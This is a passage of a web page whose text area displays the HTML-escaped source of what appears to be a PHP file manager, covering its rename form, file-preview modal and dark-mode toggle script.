                    &lt;label for=&quot;renameNew&quot; class=&quot;block mb-2 font-medium&quot;&gt;New Name:&lt;/label&gt;
                    &lt;input type=&quot;text&quot; name=&quot;new&quot; id=&quot;renameNew&quot; required class=&quot;w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md&quot;&gt;
                    &lt;div class=&quot;mt-4 flex space-x-4&quot;&gt;
                        &lt;button type=&quot;submit&quot; class=&quot;p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700&quot;&gt;Save&lt;/button&gt;
                        &lt;button type=&quot;button&quot; onclick=&quot;hideRenameForm()&quot; class=&quot;p-2 bg-gray-600 rounded-md text-white hover:bg-gray-700&quot;&gt;Cancel&lt;/button&gt;
                    &lt;/div&gt;
                &lt;/form&gt;
            &lt;/div&gt;

            &lt;div id=&quot;previewModal&quot; class=&quot;hidden fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center&quot;&gt;
                &lt;div class=&quot;bg-white dark:bg-gray-800 p-6 rounded-md max-w-lg w-full&quot;&gt;
                    &lt;h3 class=&quot;text-lg font-semibold mb-4&quot;&gt;File Preview&lt;/h3&gt;
                    &lt;pre id=&quot;previewContent&quot; class=&quot;file-preview bg-gray-200 dark:bg-gray-700 p-4 rounded-md&quot;&gt;&lt;/pre&gt;
                    &lt;button onclick=&quot;hidePreview()&quot; class=&quot;mt-4 p-2 bg-gray-600 rounded-md text-white hover:bg-gray-700&quot;&gt;Close&lt;/button&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;?php endif; ?&gt;
    &lt;/main&gt;

    &lt;script&gt;
        function showRenameForm(oldPath, oldName) {
            document.getElementById(&#039;renameOld&#039;).value = oldPath;
            document.getElementById(&#039;renameNew&#039;).value = oldName;
            document.getElementById(&#039;renameFormContainer&#039;).style.display = &#039;block&#039;;
            document.getElementById(&#039;renameNew&#039;).focus();
        }

        function hideRenameForm() {
            document.getElementById(&#039;renameFormContainer&#039;).style.display = &#039;none&#039;;
        }

        function showPreview(content) {
            document.getElementById(&#039;previewContent&#039;).textContent = content;
            document.getElementById(&#039;previewModal&#039;).classList.remove(&#039;hidden&#039;);
        }

        function hidePreview() {
            document.getElementById(&#039;previewModal&#039;).classList.add(&#039;hidden&#039;);
        }

        document.getElementById(&#039;darkModeToggle&#039;).addEventListener(&#039;click&#039;, () =&gt; {
            document.documentElement.classList.toggle(&#039;dark&#039;);
            localStorage.setItem(&#039;darkMode&#039;, document.documentElement.classList.contains(&#039;dark&#039;));
        });

        if (localStorage.getItem(&#039;darkMode&#039;) === &#039;true&#039;) {
            document.documentElement.classList.add(&#039;dark&#039;);
        }
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</textarea><br><button>Save</button></form>